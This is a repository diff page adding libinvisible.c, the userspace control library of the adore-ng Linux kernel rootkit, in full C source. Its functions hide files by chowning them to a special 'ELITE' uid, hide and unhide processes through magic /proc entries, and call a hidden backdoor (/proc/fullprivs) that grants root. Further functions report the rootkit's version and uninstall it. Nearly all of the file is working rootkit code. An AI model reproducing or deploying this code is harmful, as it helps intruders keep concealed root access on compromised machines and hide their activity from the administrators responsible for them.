summaryrefslogtreecommitdiff
path: root/other/adore-ng/libinvisible.c
diff options
context:
space:
mode:
Diffstat (limited to 'other/adore-ng/libinvisible.c')
-rw-r--r--other/adore-ng/libinvisible.c169
1 files changed, 169 insertions, 0 deletions
diff --git a/other/adore-ng/libinvisible.c b/other/adore-ng/libinvisible.c
new file mode 100644
index 0000000..a8aded4
--- /dev/null
+++ b/other/adore-ng/libinvisible.c
@@ -0,0 +1,169 @@
1/*
2 * Copyright (C) 1999/2000 Stealth.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Stealth.
16 * 4. The name Stealth may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33/* Upper layer to be independant from implementation of
34 * kernel-hacks.
35 * Just write appropriate functions for new kernel-mods,
36 * and ava.c will be happy.
37 */
38
39#include <sys/types.h>
40#include <sys/stat.h>
41#include <stdio.h>
42#include <stdlib.h>
43#include <unistd.h>
44#include <signal.h>
45#include <errno.h>
46#include <fcntl.h>
47
48#include "libinvisible.h"
49
50int getresuid(uid_t *, uid_t *, uid_t *);
51
52#ifdef linux
53adore_t *adore_init()
54{
55 int fd;
56 uid_t r, e, s;
57 adore_t *ret = calloc(1, sizeof(adore_t));
58
59 fd = open("/proc/"ADORE_KEY, 0);
60 close(fd);
61 getresuid(&r, &e, &s);
62
63 if (s == getuid() && getuid() != CURRENT_ADORE) {
64 fprintf(stderr,
65 "Tried to authorized myself. No luck, no adore?\n");
66 ret->version = -1;
67 } else
68 ret->version = s;
69 return ret;
70}
71
72/* Hide a file
73 */
74int adore_hidefile(adore_t *a, char *path)
75{
76 return lchown(path, ELITE_UID, ELITE_GID);
77}
78
79/* Unhide a file
80 */
81int adore_unhidefile(adore_t *a, char *path)
82{
83 return lchown(path, 0, 0);
84}
85
86/* Hide a process with PID pid
87 */
88int adore_hideproc(adore_t *a, pid_t pid)
89{
90 char buf[1024];
91
92 if (pid == 0)
93 return -1;
94
95 sprintf(buf, "/proc/hide-%d", pid);
96 close(open(buf, O_RDONLY));
97 return 0;
98}
99
100/* make visible again */
101int adore_unhideproc(adore_t *a, pid_t pid)
102{
103 char buf[1024];
104
105 if (pid == 0)
106 return -1;
107 sprintf(buf, "/proc/unhide-%d", pid);
108 close(open(buf, O_RDONLY));
109 return 0;
110}
111
112/* permanently remove proc
113 */
114int adore_removeproc(adore_t *a, pid_t pid)
115{
116 printf("Not supported in this version.\n");
117 return 1;
118}
119
120/* use the hidden setuid(0)-like backdoor
121 */
122int adore_makeroot(adore_t *a)
123{
124 /* now already handled by adore_init() */
125 close(open("/proc/fullprivs", O_RDONLY));
126 if (geteuid() != 0)
127 return -1;
128 return 0;
129}
130
131/* return version number of installed adore
132 */
133int adore_getvers(adore_t *a)
134{
135 if (!a)
136 return -1;
137 return a->version;
138}
139
140int adore_free(adore_t *a)
141{
142 free(a);
143 return 0;
144}
145
146/* uninstall adore
147 */
148int adore_uninstall(adore_t *a)
149{
150 close(open("/proc/uninstall", O_RDONLY));
151 return 0;
152}
153
154/* disappeared in 0.3 */
155int adore_disable_logging(adore_t *a)
156{
157 return -ENOENT;
158}
159
160/* ditto */
161int adore_enable_logging(adore_t *a)
162{
163 return -ENOENT;
164}
165
166#else
167#error "Not supported architecture (Not Linux)."
168#endif /* linux */
169